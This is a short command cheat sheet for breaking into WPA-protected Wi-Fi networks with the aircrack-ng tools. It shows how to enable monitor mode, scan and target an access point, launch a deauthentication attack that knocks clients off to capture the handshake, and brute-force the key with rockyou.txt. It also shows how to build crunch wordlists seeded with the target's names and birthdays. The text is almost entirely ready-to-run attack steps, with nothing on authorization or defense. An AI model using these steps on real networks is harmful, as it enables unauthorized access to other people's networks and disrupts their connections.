\*\*\*Prework\*\*\*

Plug in wireless card capable of monitor mode- when detected, issue:

**Ifconfig**

This will bring up a list of all available interfaces

In this example, we will use **wlan0**

To enable monitor mode:

**Ifconfig wlan0 down**

**Iwconfig wlan0 mode monitor**

**Ifconfig wlan0 up**

\*\*\*Scanning\*\*\*

For a general scan of surrounding networks:

**Airodump-ng [interface]**

Example:

**Airodump-ng wlan0**

Starting airodump on the tagret ap:

**Airodump-ng --channel [channel] --bssid [bssid] --write [file name] [interface]**

Example:

**Airodump-ng --channel 6 --bssid 11:22:33:33:44:55 --write fileName wlan0**

Perform a deauthentication attack:

**Aireplay-ng --deauth [number of deauth packets] -a [AP] -c [client] [interface]**

Example:

**Aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 -c [66:55:44:33:22:11] wlan0**

Once the handshake has been ascertained, you can use aircrack to bruteforce the key against a wordlist. In this example, we’ll use **rockyou.txt**:

To run aircrack-ng against captured handshake (.cap file):

**Aircrack-ng [cap\_file.cap] -w [wordlist.txt]**

Example:

**Aircrack-ng myFile.cap -w rockyou.txt**

Try to add words that would be associated with the target [i.e. birthdays, names, dates- anything that may be a word present in the key for that particular person or organization]

\*\*\*generating a word list with crunch\*\*\*

Sometimes it will serve your purposes to create your own wordlists. This can be accomplished with a utility present by default in kali called **crunch**

syntax:

**./crunch [min size] [max size] [characters=lower|upper|numbers|symbols] -t [pattern] -o file**

Example:

**./crunch 6 8 123456”#$%! -t a@@@@b -o wordlist.txt**